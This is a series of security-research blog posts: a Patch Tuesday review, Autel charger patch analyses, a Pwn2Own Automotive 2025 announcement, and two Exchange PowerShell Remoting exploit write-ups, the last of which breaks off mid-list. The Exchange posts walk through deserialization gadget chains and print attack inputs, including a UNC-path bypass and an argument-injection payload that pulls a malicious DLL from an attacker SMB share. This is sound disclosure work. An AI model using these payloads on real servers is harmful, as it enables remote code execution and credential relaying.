There are 39 other code execution bugs to cover this month, and many of these are the open-and-own variety found in Office and other components. There are a dozen bugs affecting the Routing and Remote Access Service (RRAS), but only a few of these could be triggered by a remote attacker. The others require the client to attempt to connect to a malicious server. The patch for Azure Service Fabric for Linux requires special privileges to hit. There’s a code execution bug in DeepSpeed – the open-source deep learning optimization library – but Microsoft provides no details on it. This also appears to be the first CVE for this component. There are three bugs in OpenSSH for Windows, but all require extensive user interaction and are unlikely to be exploited. The two bugs in RDP client require connecting to a malicious RDP server, which also seems unlikely. Connecting to a malicious server is also a requirement for the bug in Windows Telephony.

The code execution bug in Hyper-V is somewhat limited but still interesting. It could allow a guest OS to execute code against another guest OS, but it wouldn’t allow that code execution to a system not on the same Hyper-V server. The bug in the Remote Desktop Licensing server requires authentication. The code execution bugs are rounded out with a half-dozen fixes for the Mobile Broadband Driver. Interestingly, all six of these require the attacker to physically insert a malicious USB drive into an affected system.

There are more than two dozen fixes for Elevation of Privilege (EoP) bugs in this release. However, most of these either lead to SYSTEM-level code execution or administrative privileges if an authenticated user runs specially crafted code. However, there are a few that stand out. The bug in Netlogon is the most interesting to me. It allows an adjacent attacker to impersonate a domain controller if they can predict the naming convention of the domain controller when added. It’s an unlikely scenario, but kudos to the person who found such an odd corner case. The EoP in Azure Command Line Integration requires the attacker to be assigned the role of either “Security Admin” or “Contributor” but exploitation could lead to SYSTEM-level access. Interestingly, the bug in the NT OS Kernel could lead to kernel memory access, which sounds a bit like an information disclosure bug to me. Finally, the bug in Outlook for Android leads to SYSTEM when opening a malicious meeting or appointment invitation. That’s another vote from e-mails or meetings – especially when food isn’t involved.

There are a handful of Security Feature Bypass (SFB) bugs in the October release, and the BitLocker fix stands out since for Windows Server 2012 R2, you will need to install KB2919355 first to be protected. There are three different bypasses in the Windows Resume Extensible Firmware Interface and all of them allow local attackers to bypass Secure Boot. The bug in the Scripting Service bypasses the Anti-Malware Scanning Interface under certain circumstances. As expected, the bug in the Code Integrity Guard allows an authenticated attacker to bypass code integrity checks. The bypass in Hyper-V would be tricky to implement as there are a lot of caveats, but successful exploitation allows an attacker to bypass UEFI on the hypervisor. This is one of the bugs listed as publicly known, but I would be stunned to see this ever exploited in the wild.

The October release includes fixes for only six information disclosure bugs, and all but one simply result in info leaks consisting of unspecified memory contents. The exception is the bug in the Cryptographic component. An attacker could read the contents of the Optimal asymmetric encryption padding (OAEP) decrypt from a user mode process. This could potentially result in a cross-VM attack affecting multiple VMs on a single hypervisor.

In addition to the one previously covered, there are six other spoofing bugs receiving patches this month. Unfortunately, Microsoft doesn’t provide much information about these vulnerabilities. The spoofing bug in Office appears to result in NTLM relaying as Microsoft lists restricting outbound NTLM as a mitigation. There’s no real information about the Power BI bugs other than to say they require authentication. The vulnerability in Secure Channel requires a Machine-in-the-Middle (MitM) to succeed. The final spoofing bug is in Sudo for Windows. An authenticated attacker would need to launch a specially crafted application and then wait for the target to enter a command in a console window.

There are a mountain of Denial-of-Service (DoS) bugs getting fixed this month, and many of these are in the Mobile Broadband Driver. There’s not a lot of info on these bugs, but Microsoft notes the target must be “within proximity of the target system to send and receive radio transmissions.” There’s little other information to go on here. I do like how the kernel bug must be exploited by “An authorized attacker…” I think they meant authenticated here as not many attackers are authorized. It would be great if Microsoft could provide just a bit more information here. Is this a temporary or a permanent DoS? Does the system automatically recover or does an administrator need to take action? Please Microsoft – don’t be stingy with the details.

Finally, the release is rounded out by a single tampering bug in Remote Desktop Services. Microsoft (again) provides no real detail here other than that the attacker must be MitM. Well, that’s something I suppose.

There are no new advisories in this month’s release. However, ADV990001 has been revised to include the latest servicing stack updates.

Looking Ahead

The next Patch Tuesday of 2024 will be on November 12, and, assuming I survive Pwn2Own Ireland, I’ll return with details and patch analysis then. Until then, keep the lights on, stay safe, happy patching, and may all your reboots be smooth and clean!

This blog post highlights two additional vulnerabilities in the Autel Maxicharger that were exploited at Pwn2Own Automotive 2024. Details of the patches are also included.

Autel has been informed and has deployed a firmware update (v1.35) to address both of these issues. If you want to read about other Autel bugs reported at Pwn2Own, you check out our earlier blog here.

The First Vulnerability: CVE-2024-23967 (ZDI-CAN-23230)

Researchers from Computest Sector 7 identified and exploited a stack-based buffer overflow in v1.32 of the Autel firmware. This vulnerability stems from the decoding of base64 encoded data that can be controlled by an attacker. The encoded data is decoded into a fixed-size stack buffer with no bounds checks, leading to a stack buffer overflow and remote code execution.

The vulnerable function is responsible for handling ACMP messages received from a websockets server (that can be attacker-controlled). The exact meaning of “ACMP” is unknown but the researchers’ best guess is that it stands for something along the lines of “Autel Cloud Management Protocol” and does not appear to be related to Allen-Cahn Message Passing.

Once the device receives an ACMP message, it is decoded as JSON and parsed with the help of the popular cJSON library. The JSON is expected to contain a nested key (named data) that contains a base64 encoded string. This encoded string is extracted from the JSON and passed to a custom base64 decoding function that decodes straight into a 1024-byte stack buffer (named b64_decoded_buf). As there are no length checks, the base64 decoding function can be exploited to trigger a stack buffer overflow.

As the screenshot shows, base64_decode() doesn't take length into account.

The Patch

To validate the patch in the updated firmware, the Ghidra Version Tracking tool was used. Comparing v1.32 against the latest v1.35 highlights a simple change (the right side shows the patch):

An if statement has been added to check that the length of the attacker-controlled base64 encoded string is less than 0x556 (1366) bytes. If that check passes, the string is decoded into the 1024-byte stack buffer. This is a valid patch as the largest possible encoded string would be 1365 bytes in length, which, when base64 decoded, will output 1023 bytes, so that it fits into the stack buffer.

Observations

Even though the patch fixes the issue, it isn't an ideal solution. The if statement protects against a buffer overflow only in this specific function. Other code that may call base64_decode() could easily introduce another buffer overflow. In v1.35 there are no other references to base64_decode(), but that doesn't mean there won't be in the future. In its current state, the base64_decode() function takes the encoded input string and a pointer to an output buffer to hold the decoded string. A better implementation would take a third parameter that holds the length of the output buffer. This way, base64_decode() could internally check to ensure the number of bytes placed into the output buffer doesn't exceed the output buffer’s length. If it does, it could return an error. This would eliminate the need to place a length check before every invocation of base64_decode().

Interestingly, the base64_encode() function does account for the output buffer’s length, but for some reason, the corresponding decode function doesn't.

Another solution would be to use the Mbed TLS base64 functions as both versions of the firmware already include the Mbed TLS library. These functions take length parameters to prevent buffer overflows.

The Second Vulnerability: CVE-2024-23957 (ZDI-CAN-23241)

The PHP Hooligans / Midnight Blue researchers also identified and exploited a stack buffer overflow in v1.32 of the Autel firmware. The overflow can be triggered when an attacker sends a large hex string, which is then decoded into a fixed-size stack buffer with no bounds checking.

The vulnerable function is related to the Dynamic Load Balancing (DLB) protocol that distributes a power load between a network of EV chargers. As part of the initial inter-charger communications, each charger receives a shared AES-128 key inside a JSON RPC payload. The key is encoded as a hex string and passed as an argument to the called RPC function.

The called function proceeds to extract the hex-encoded key from the JSON RPC parameters and then decodes it into a fixed-size stack buffer. The stack buffer is 16 bytes but takes up 20 bytes on the stack due to alignment. This is the correct size for an AES-128 key, however, since the attacker can supply a much longer string, a buffer overflow can occur.

Unlike the previous base64_decode() issue, the hex_decode() function does take a length (the encoded key length), but this doesn't prevent the overflow as the length is never checked against the size of the buffer.

The Patch

Again, the Version Tracking tool was used to compare the vulnerable function to the patched function. The highlighted sections on the right side show the patch:

The screenshot shows an if statement has been added to ensure that hex_encoded_key_len is less than a certain value (0x21, or decimal 33) and is not equal to 0. The stack buffer is declared as 16 bytes, so this patch is valid, since a hex-encoded string of 32 bytes or less will successfully decode into a 16-byte buffer.

Observations

In a similar fashion to the first patch, the fix could be more effective. For the same reasons previously described, another buffer overflow vulnerability could be introduced if the hex_decode() function is used by another piece of code that doesn't check lengths with an explicit if statement. Currently, hex_decode() is only called by the patched function, but this may change with future releases.

Ideally, the length of the output buffer should be passed to hex_decode() so it can internally ensure a buffer overflow cannot happen.

Conclusion

It is a positive sign that Autel has responded to the vulnerabilities and has released a patch to help protect its customers, even if the patches are not ideal.

EV chargers are being deployed rapidly in homes around the world and represent safety risks when not secured. We are looking forward to Automotive Pwn2Own again in January 2025, and we will see if EV charger vendors have improved their product security. We hope to see you there.

You can find me on Twitter @ByteInsight, and follow the team on Twitter, Mastodon, LinkedIn, or Bluesky for the latest in exploit techniques and security patches.

As you may know, I recently presented my Exchange-related talk during OffensiveCon 2024. This series of 4 blog posts is meant to supplement the talk and provide additional technical details.

In this final part, I ’am going to describe the PowerShell Remoting ConvertViaNoArgumentConstructor conversion mechanism, which I underestimated at the beginning of my research. It allowed me to find 3 more vulnerabilities, even after the Exchange PowerShell attack surface had been significantly hardened by switching to a strict allow list of types. The vulnerabilities I found were:

• CVE-2023-36050 – XXE (File Read)
• CVE-2023-36039 – NTLM Relaying
• CVE-2023-36035 – NTLM Relaying

At least at that time, Microsoft was taking seriously NTLM relaying vulnerabilities in Exchange, because it could lead to privilege escalation.

You can also watch the full talk here: “Half Measures and Full Compromise: Exploiting Microsoft Exchange PowerShell Remoting”. This blog post covers the part from 26:25 to 29:45, but it significantly extends it.

Introduction

In this final part of the Exchange PowerShell series, I’ll describe the ConvertViaNoArgumentConstructor conversion mechanism. Initially, I was not interested in it, as I was always able to find an applicable RCE chain using single-argument constructor conversion.

My approach changed when the new patch for my RCE chains landed. Finally, it was a good patch. The entire deserialization protection mechanism (type control) had been redesigned. The new mechanism:

• By default, works solely based on an allow list.
• The internal deserialization in MultiValuedProperty is subject to the same validation.
• Type parameters of generic classes (like class T in SomeClass<T>) are also subject to validation.

After this patch, we canno longer take advantage of deserializing types that are missing from a deny list, since an allow list is being used instead. Also, the MultiValuedProperty<T> bridge gadget does not provide too much value, as the generic type parameter <T> is also subject to the same validation.

For my last dance with Exchange PowerShell, I decided to focus once more on the list of allowed classes. I had a hard time finding anything interesting for single-argument constructor or Parse method-based conversions, though. I decided to have a look at different conversions again, and I realized that the one based on a no-argument constructor is much more powerful than I initially thought.

The ConvertViaNoArgumentConstructor

ConvertViaNoArgumentConstructor works similarly to the majority of setter-based serializers:

• It initializes the object with a no-argument constructor.
• It uses setters to set the values of the members.

In the serialized XML payload, member values are defined using the MS tag:

Figure 1 - Sample member definition

The MS tag contains one subelement for each member that we want to deserialize. In the sample XML in Figure 1, we are specifying that:

• We want to deserialize a single member called SomeMember. The N attribute specifies the member name.
• We are deserializing the member value from a string. This is indicated by the S tag.
• The value for the member is the string value.

We can see that the ConvertViaNoArgumentConstructor conversion routine needs to somehow deserialize values for those setter calls. This is where things get interesting.

Let’s start from the beginning. When we deserialize an object with ConvertViaNoArgumentConstructor, we eventually reach one of the System.Management.Automation.LanguagePrimitives. ConvertViaNoArgumentConstructor.Convert overloads:

At [1], our object is instantiated with the no-argument constructor.

At [2], one of the SetObjectProperties overloads is called.

At [1], the code verifies that psobject is not null. This object holds data from our serialized payload, thus it should be a valid object.

At [2], it iterates over properties defined in our payload. It extracts the name of each member to be deserialized together with its value, and adds it to the dictionary at [3].

Finally, we reach an another SetObjectPropertiesoverload at [4].

At [1], it iterates over properties (members) specified in our serialized payload.

At [2], information about a given member is retrieved, including the type of the member in string form.

At [3], it calls TypeResolver.TryResolveType method to resolve the string representation of the type into a Type object.

At [4], we reach the LanguagePrimitives.ConvertTomethod, where:

• The target type is set to the type of the member that we want to deserialize.
• Our controlled value is provided as a value, from which we are going to deserialize!

To summarize: We can deserialize an allowed type through a no-argument constructor. We can set members of this type, using setter calls. When setting a member, PowerShell Remoting will use its internal conversions in LanguagePrimitives.ConvertTo to convert the value we specify. This means that it will try to deserialize it with all available conversions, including:

• Parse based conversion.
• Single-argument constructor conversion.
• No-argument constructor conversion.
• And others.

The entire process can be summarized with the following scheme.

Figure 2 - Simplified algorithm for ConvertViaNoArgumentConstructor

This deserialization routine opens up two main exploitation vectors:

a)         Dangerous members of allowed types.

We can target types that:

o   are on the allow list (can be deserialized with PowerShell Remoting), and
o   have a no-argument constructor, and
o   have a public member of some dangerous type. By dangerous type, we mean that it leads to security impact when deserialized with PowerShell Remoting. It is not necessary for this type to be on the allow list.

It is also important to note that deserialization of a member will happen even if the member has no setter, or even if there is a setter but the setter is not public!

b)         Dangerous setters of allowed types

We can also target the setters themselves if the implemented setter leads to something dangerous. I’ll show one example of this later.

ConvertViaNoArgumentConstructor – Example

You can see that this conversion mechanism is extremely hazardous because it allows us to significantly extend the attack surface. This is because members of allowed types can be deserialized with PowerShell Remoting conversions, even when the member of is not of an allowed type. Let’s see how it works based on some simple examples.

Consider the following sample class, and suppose that it is on the list of types allowed to be deserialized with PowerShell Remoting.

Figure 3 - Sample allowed class

We can see that it contains a no-argument constructor. Moreover, it contains a member reader, which is of type XamlReader. We can deliver a serialized object of type someWhitelistedType, and we can deserialize the reader member from a string. The deserialization flow is presented in the next figure.

Figure 4 - Deserialization of sample someWhitelistedType class

As expected, this leads to RCE. This is because PowerShell Remoting will try to deserialize a member of type XamlReader. XamlReader has already been abused in ProxyNotShell and other exploit chains to achieve RCE through XAML deserialization.

You could also imagine building a chain of types and members, where we are nesting multiple no-argument conversions to ultimately reach a member with a dangerous type.

Figure 5 - Chaining multiple no-argument constructor conversions to reach dangerous member

Now that we know how this powerful conversion works, let’s have a look at how I was able to leverage it to abuse three allowed Exchange classes.

CVE-2023-36039 – NTLM Relaying with FederationTrust

The first class I abused was Microsoft.Exchange.Data.Directory.SystemConfiguration.FederationTrust, which was allowed in Exchange PowerShell Remoting. This class has an interesting public member, called OrgCertificate.

Figure 6 - OrgCertificate member of FederationTrust

It is of type X509Certificate2. This type is not allowed in Exchange PowerShell, but we can still deserialize it when it is the type of a member of an allowed class.

It turns out that this type implements a single-argument constructor, which accepts a path to the certificate file and tries to read it.

Figure 7 - X509Certificate2 constructor

We can reach this constructor through PowerShell Remoting single-argument constructor conversion and use it for NTLM relaying.

CVE-2023-36050 – XXE with TransportConfigContainer

Another class is Microsoft.Exchange.Data.Directory.SystemConfiguration.TransportConfigContainer. Here, I abused the second kind of exploitation vector: attacking the setter call itself.

This class defines a TransportSystemState member, which is of type string.

Figure 8 - TransportSystemState member

We obviously can’t achieve anything malicious during the deserialization of string. However, when setting the property, the setter calls RefreshTransportSystemState, and this leads to XXE. This is because our input to the setter eventually reaches the GetOverrides method.

Figure 9 - GetOverrides - XXE

Exchange runs on an older version of .NET Framework, where XmlDocument is not protected by default from XXE vulnerabilities (classic). As we control the XML string through deserialization, we can abuse this, for example to read local files.

CVE-2023-36035 – NTLM Relaying (Partial Bypass for CVE-2023-36756 RCE)

The last vulnerability is a partial bypass for CVE-2023-36756. This vulnerability was described in the second part of this series. A small recap:

• We were able to deliver a CAB file to the Exchange using a UNC path (a path to a public SMB share within the domain).
• Exchange used the Windows exctrac32 utility for CAB extraction, which is vulnerable to path traversal.
• We could upload a webshell and get code execution.

This vulnerability was patched by making three changes:

• ApprovedApplicationCollection is no longer allowed. This is the class that was used to reach the CAB extraction.
• extrac32 is no longer used for the extraction.
• A call to IsUNCPath was added, which should block the extraction of CAB files from an attacker’s share.

Let’s have a look at this IsUNCPath method:

Figure 10 - IsUNCPath method

It first uses Uri.TryCreate to try parsing the file path, and if that succeeds, it verifies if we have delivered a UNC path by calling Uri.IsUnc. If at least one of those conditions is not true, we would be able to bypass this check. Although the path traversal vulnerability is no longer present, meaning that this would no longer allow us to upload a web shell, nevertheless it at least could be used for NTLM relay.

It turns out that the bypass is very simple here. We can just use the \\?\UNC\server\... syntax (if you don’t know it, please see this article by James Forshaw).

Uri.TryCreate("\\\\?\\UNC\\win-attacker\\poc") -> null

The Uri class is not able to handle this syntax and it will return null! However, this path will be later used in the FileInfo constructor:

new FileInfo("\\\\?\\UNC\\win-attacker\\poc") -> OK

Using this syntax, we can bypass the IsUNCPath check and potentially perform NTLM relaying.

We are still missing one piece, though. How can we reach the CAB extraction methods, if our ApprovedApplicationCollection type was removed from the list of allowed classes?

ConvertViaNoArgumentConstructor to the rescue! It turned out that Exchange allows deserializing the MobileMailboxPolicy class. This class has a member which is of type ApprovedApplicationCollection!

Figure 11 - MobileMailboxPolicy member of ApprovedApplicationCollection type

Even though Microsoft didn’t want us to deserialize ApprovedApplicationCollection anymore, we were still able to do just that through member deserialization. This shows the power of the no-argument constructor conversion.

Summary

In this blog post, I presented the ConvertViaNoArgumentConstructor conversion of PowerShell Remoting. It is a powerful deserialization mechanism, which significantly extends the attack surface for the entire PowerShell Remoting. It helped me to abuse 3 more allowed Exchange classes, to gain quite a good impact: NTLM Relaying (Privilege Escalation) and XXE (File Read + NTLM Relaying).

This will be the last post in the Exchange PowerShell Remoting series, and I hope you enjoyed it. In my upcoming blog posts, I’m planning to focus on some vulnerabilities that I have recently discovered in Microsoft SharePoint, so stay tuned.

Until my next post, you can follow me @chudypb and follow the team on Twitter, Mastodon, LinkedIn, or Bluesky for the latest in exploit techniques and security patches.

If you just want to read the rules, you can find them here.

Earlier this year we held our inaugural Pwn2Own Automotive contest, and it was a rousing success. On our biggest-ever stage (literally), we awarded $1,323,750 over the three-day event as researchers from around the globe demonstrated 49 unique zero days. Today, we’re excited to announce that we will be returning to Tokyo and the Automotive World conference for Pwn2Own Automotive 2025. The event will be held on January 22-24, 2025, and we have some exciting challenges planned for our second year.

As always, we’re pleased to be working with our cohorts over at VicOne again. Their help was instrumental in the success we had at our first event, and we’re glad to be partnering with them once more. Tesla also returns as a sponsor. They have worked with us extensively for our Pwn2Own events, and we rely on their guidance and understanding of the complexities of electric vehicles (EV). They also brought their wall charger to this year’s event, so that should be exciting. Altogether, we have more than $1,000,000 USD in cash and prizes available, and we can’t wait to see what researchers bring to demonstrate in Tokyo.

As with other Pwn2Own events, we’ll have a random drawing to determine the schedule of attempts the day before the contest, and we will proceed from there. As always, if you have questions, don't hesitate to get in touch with us at [email protected]. We will be happy to address your issues or concerns directly.

Now on to the four categories we’ll have for the first Pwn2Own Automotive contest:

          - Tesla
          - In-Vehicle Infotainment (IVI)
          - Electric Vehicle Chargers
          - Operating Systems

Let's start with everyone's favorite category.

Tesla

Since its introduction to Pwn2Own in 2019, the Tesla category has always been a highlight, with some of the most innovative research being demonstrated on the EV. At the inaugural Pwn2Own Automotive, the team from Synacktiv exploited it twice on their way to winning Master of Pwn. Contestants can register an entry against the Tesla Model 3/Y (Ryzen-based) equivalent bench top unit, and it wouldn’t surprise me if someone needs to run their exploits in an RF enclosure to prevent interference with vehicles that might be driving by.  Also note that while a Tesla is available as a prize, not every successful attempt will win the vehicle itself. Some of the targets have add-ons available, but to drive away in your new ride, you need to target one of the entries marked “Vehicle Included” in the table below. Also note that the targets have changed a bit this year to keep things interesting.

As usual, there are a few “Add-ons” you can go for is you really want to show your stuff.

Previous exploits in this category have provided highlights of past events, and we’re hopeful we’ll see something similar this year. If you are going to participate in this category, please notify us at least two weeks before the event so we can source the hardware in time for the contest. And please read the rules thoroughly if you’re going after one of the bigger prizes. With over $500,000 on the line, you should make sure all your bases are covered.

Back to top

In-Vehicle Infotainment (IVI) Systems

Other highlights from the inaugural contest were found in the IVI category, which saw the NCC Group put a playable version of Doom on an Alpine system. More than just stereos, the modern IVI is the gateway to your car’s internal systems. Navigation, in-car internet, and Wi-Fi are provided through these devices, but they also serve a connection to other vehicle systems through the CAN bus – making them a ripe target for attackers. These devices are also retrofitted to existing vehicles to modern capabilities – and perhaps modern vulnerabilities as well. This year, we’re bringing four IVI devices to the contest:

Back to top

Electric Vehicle Chargers Category

At the first Pwn2Own Automotive, this proved to be the most popular category with every charger targeted at least once. Sina Kheirkhah even turned on the manufactured-disabled camera for a Rick Roll. We’ve expanded the target list for this year with the inclusion of the Tesla Wall Connector along with models from WOLFBOX and EMPORIA. Attack surfaces in scope for the contest include mobile apps, Bluetooth Low Energy (BLE) connections, and the OCPP protocol could all allow threat actor to cause harm to an EV. There’s no official bonus for style points, be we always love exploits that make us laugh. An attempt in this category must be launched against the target's exposed services or against the target’s communication protocols/physical interfaces that are accessible to a typical user.

We’re also amping up the challenge this year by adding a couple of extras in this category (…and yes, pun intended). The first extra challenge is a Charging Connector Protocol/Signal Manipulation attack. The entry must gain code execution on the EV Charger and the resulting payload must manipulate the protocol and/or signals being transmitted via the Charging Connector. If you can accomplish this, you’ll earn an extra $10,000 and 1 more Master of Pwn point. Really want a challenge? Then go for the Charging Connector Attack. For this one, the entry must originate from the Charging Connector and compromise the EV Charger. If you accomplish this one, it earns you an additional $20,000 and 2 more Master of Pwn points.

Back to top

Operating Systems

It’s odd to think of operating systems within a car, but they are there – and they’re there in abundance. If you drive a recent Mercedes, Subaru, Mazda, or Toyota, there’s a good chance you’re also driving something with Automotive Grade Linux (AGL) installed. How do these onboard OSes compare to their desktop counterparts? The first contest saw AGL successfully targeted. It will be intriguing to see if the other OSes are targeted this year. An attempt in this category must be launched against the target's exposed services/features or launched against the target’s communication protocols that are accessible to a typical user.

Back to top

Master of Pwn

No Pwn2Own contest would be complete without crowning a Master of Pwn, which signifies the overall winner of the competition. Earning the title results in a slick trophy, a different sort of wearable, and brings with it an additional 65,000 ZDI reward points (instant Platinum status in 2026).

For those not familiar with how it works, points are accumulated for each successful attempt. While only the first demonstration in a category wins the full cash award, each successful entry claims the full number of Master of Pwn points. Since the order of attempts is determined by a random draw, those who receive later slots can still claim the Master of Pwn title – even if they earn a lower cash payout. As with previous contests, there are penalties for withdrawing from an attempt once you register for it. If the contestant decides to remove an Add-on Bonus during their attempt, the Master of Pwn points for that Add-on Bonus will be deducted from the final point total for that attempt.

The Complete Details

The full set of rules for Pwn2Own Automotive 2025 can be found here. They may be changed at any time without notice. We highly encourage potential entrants to read the rules thoroughly and completely should they choose to participate. We also encourage contestants to read this blog covering what to expect when participating in Pwn2Own.

Registration is required to ensure we have sufficient resources on hand at the event. Please contact ZDI at [email protected] to begin the registration process. (Email only, please; queries via social media, blog post, or other means will not be acknowledged or answered.) If we receive more than one registration for any category, we’ll hold a random drawing the day before the contest to determine the contest order. Registration closes at 5:00 p.m. Japanese Standard Time on January 16, 2025.

The Results

We’ll be blogging and tweeting results in real-time throughout the competition. Be sure to keep an eye on the blog for the latest information. We’ll also be posting live results on Twitter, Mastodon, LinkedIn, and Bluesky, so follow us on your favorite social platform for the latest news, and keep an eye on the #P2OAuto hashtag for continuing coverage.

We look forward to seeing everyone in Tokyo, and we look forward to seeing what new exploits and attack techniques they bring with them.

With special thanks to our Pwn2Own Automotive 2025 partners, Tesla, for providing their assistance and technology. Thanks also to the researchers from VicOne for their guidance and recommendations.

©2024 Trend Micro Incorporated. All rights reserved. PWN2OWN, ZERO DAY INITIATIVE, ZDI, and Trend Micro are trademarks or registered trademarks of Trend Micro Incorporated. All other trademarks and trade names are the property of their respective owners.

As you may know, I recently presented my Exchange-related talk during OffensiveCon 2024. This series of 4 blog posts is meant to supplement the talk and provide additional technical details.

In this article, part 3 of the series, I describe a chain of 3 vulnerabilities that led to remote code execution:

·       CVE-2023-36744 – Arbitrary File Write vulnerability
·       CVE-2023-36777 – Arbitrary File Read vulnerability
·       CVE-2023-36745 – Local DLL Loading vulnerability

In the sections that follow, I’m going to describe each of these in detail and show how I chained them to eventually achieve RCE.

You can also watch the talk here: “Half Measures and Full Compromise: Exploiting Microsoft Exchange PowerShell Remoting”. This blog post covers the part from 21:00 to 26:25.

Introduction

In this blog post, I will describe the chain of 3 vulnerabilities that led to remote code execution in Exchange. It is probably my favorite chain so far, so I will spend some time on it.

In this chain, I am mainly abusing the single-argument constructor conversions. If you are not familiar with them or do not recall their importance, please refer to the previous parts of this blog series or to the OffensiveCon talk.

I will be describing the chain in an order that provides the most logical presentation of my vulnerability-finding thought process.

CVE-2023-36745 – Local DLL Loading Gadget

When I was looking for non-denylisted gadgets that could be used to achieve something interesting, I found the following Exchange class: Microsoft.Exchange.DxStore.Common.DxSerializationUtil+SharedTypeResolver. It implements a single-argument constructor, which immediately drew my attention.

At [1], it tries to load a DLL called FUSE.Paxos.dll from the attacker-controlled location.

This is something that you could easily use for local privilege escalation, just by dropping the DLL to any local folder and then loading it with this gadget. Using it for remote code execution, though, is far harder. Remote DLL loading has been blocked by default in .NET 4, so you cannot load the DLL from a remote location hosted by the attacker, such as a public SMB share located in the domain. The attacker would need to drop the file locally first.

I decided to keep this gadget in my pocket for some time and to look for a file write primitive that would allow me to drop a DLL to the file system. It was not an easy thing to find, but it eventually paid off.

CVE-2023-36744 – File Write Gadget

After some time, I found the Microsoft.Diagnostics.Runtime.DumpDataReader class, where a single-argument constructor looked promising. At first glance, it looked completely useless but let us look further !

At [1], a constructor with a single argument of type string is defined.

At [2], the code verifies that the provided argument is an existing filesystem path. If not, it throws an exception.

At [3], the code verifies that the provided path ends with .cab.

If we pass all the checks, it calls ExtractCab at [4]. Things are getting spicy here.

At [1], the code generates a random path having the form C:\Windows\Temp\<random-guid>. At [2], it creates the generated directory.

At [3], it calls expand -F:*dmp <attacker-path> C:\Windows\Temp\<random-guid>.

Let’s stop here for a moment. expand is another Windows CAB extraction utility. Unlike extrac32 (from a previous blog post), it is not vulnerable to path traversal.

One can see that:

• The attacker-controlled path is used to retrieve a CAB file
• It extracts it with expand
• The argument -F:*dmp is hardcoded, which means that expand will extract only files ending with the string dmp
• The files are extracted to a randomly generated temporary directory.

The input is not validated to protect against UNC syntax, so the attacker can provide a remote file via an SMB server. As Exchange PowerShell exploitation requires Kerberos authentication, the attacker probably needs to be located within the same network. That way the attacker can deliver files through a public SMB share in the domain. Exchange will be able to access such a share, even with default restrictions enabled (anonymous share access prohibited).

So far so good. We can also look at [4]. The Dispose method is called when improper crash dump files are extracted. Moreover, Dispose can be also called from the ~DumpDataReader finalizer. Here is the code of Dispose:

At [1], the code retrieves a listing of all files in the random temporary directory.

At [2], it iterates over those files, and at [3] it deletes them.

At [4], it deletes the entire directory. Please note that the second argument is equal to false. This means that the directory deletion operation is not recursive, and later on we are going to abuse that.

When I fully analyzed the DumpDataReader constructor, I realized that there are multiple obstacles in the way of using this as our file write primitive:

• We can only extract files ending with dmp, whereas we need to drop a file with the specific name FUSE.Paxos.dll, as hardcoded in the DLL loading gadget.
• Files will be removed right after the extraction.
• Files are extracted to a path containing a GUID, and we can’t predict that path name, whereas we would need to provide a full path to the DLL loading gadget.
• The attacker’s string (path) is verified with File.Exists. Later on, we will see how this is problematic.
• We may need to extract more than one file, and we will see below how this also presents a minor difficulty.

You can see that the list is quite long, so the gadget appears useless at this point. However, I realized that the expand call itself is vulnerable to Argument Injection. I started playing with expand by testing various arguments, and it turned out that this injection was enough to bypass all the above restrictions! Now let us see how.

1. DumpDataReader: Extracting files with extension other than DMP

The first restriction that we want to bypass is the one that prevents extraction of files unless the filename ends with dmp. This is due to the-F switch provided to the expand utility:

     expand -F:*dmp attacker-path C:\Windows\Temp\<random-guid>

Let's consider a file f.cab that contains our malicious FUSE.Paxos.dll. We should not be able to extract it and preserve its name, due to the -F:*dmp argument. While playing around, I noticed that if either -r or -i is provided to expand, the -F argument is completely ignored! In the next screenshot, I have bypassed the extension-based protection by injecting the -i argument.

Figure 1 - Bypassing the extension protection with argument injection

2. DumpDataReader: Bypassing the file deletion routine

Now we know how to drop the DLL to the file system. However, remember that the gadget removes files just after the extraction. We might try to win a difficult race condition here, but a much simpler approach exists.

DumpDataReader removes all the files from the temporary directory and then removes the entire directory. However, the Directory.Delete function is called with the recursive argument equal to false.

If we were able to create a subdirectory within C:\Windows\Temp\<random-guid> and store our malicious file in that subdirectory, the deletion routine would not work.

For example, let's consider an operation that leads to the extraction of following files:

The DumpDataReader.Dispose method would remove test.txt and dump.exe, but a\poc.dll would remain untouched. This is because the Dispose method only looks for files in the top level of C:\Windows\Temp\f66aa138-fda9-4758-a733-1295ee2664e3\, and the search/removal operations it uses are not recursive.

Ultimately, the following file would remain on the file system:

C:\Windows\Temp\f66aa138-fda9-4758-a733-1295ee2664e3\a\poc.dll

How can one create a new directory by means of a CAB extraction? We can create a CAB file with a filename like a/FUSE.Paxos.DLL, and inject the -r argument to the expand utility. It recreates the entire directory structure, and additionally, as mentioned above, it bypasses the -F file extension check, killing two birds with one stone.

Figure 2 - Extracting entire directory structure - bypassing the file removal routine

3. DumpDataReader: Extracting multiple files

I found experimentally that the aforementioned bypasses work only for a CAB file that includes a single file. In addition to FUSE.Paxos.dll, we may need to drop additional files, though:

• Ijwhost.dll, depending on how we compiled our malicious FUSE.Paxos.dll
• An additional corrupted file. I will explain this part soon.

Luckily, you can provide multiple CAB file paths to a single expand execution and all will be handled. In the next screenshot, I’m providing paths to two different CAB files and both are extracted by a single execution of expand.

Figure 3 - Extracting multiple files with single expand execution

4. DumpDataReader: Leaking the extraction directory

We have bypassed almost all the restrictions! We are still missing a critical one, though. The files will be extracted to a path containing a randomly generated GUID. We cannot predict it, but to use the DLL loading gadget, we will need to provide the full path to our malicious DLL. Now, we need to find a primitive that leaks the extraction path.

Fortunately for me, such a primitive exists within expand itself. First of all, let’s create a corrupted CAB file, which contains a file with an invalid file name. Exemplary invalid name: c:tzt.dmp:

Figure 4 - CAB file with invalid file name

Now, let’s try to extract this file.

Figure 5 - Failed extraction attempt - corrupted CAB file

The extraction operation has failed, as expected. However, when we analyze the expand operation with the procmon, we will quickly notice something very interesting.

Figure 6 - expand accessing C:\Windows\Logs\DPX\setupact.log file

expand is writing some data to C:\Windows\Logs\DPX\setupact.log. Let’s have a look at the contents.

Figure 7 - GUID leaked in setupact.log

Bingo! When we try to extract a file with an invalid name, an exception is thrown and written to setupact.log. The exception text includes the extraction path, so this may be a way to leak the GUID and the entire DLL drop path. We only need a vulnerability that allows retrieval of the contents of this log file. We will come back to this later.

5. DumpDataReader – Preparing the Final Payload and Bypassing the File.Exists Check

We have bypassed all the significant restrictions, including:

• File extension check
• File removal after the extraction
• Writing to the random path (leak of GUID)

The final payload looks like this:

\\192.168.123.104\poc\f.cab -r \\192.168.123.104\poc\i.cab \\192.168.123.104\poc\t.cab

I am:

• Injecting -r argument to bypass several protections.
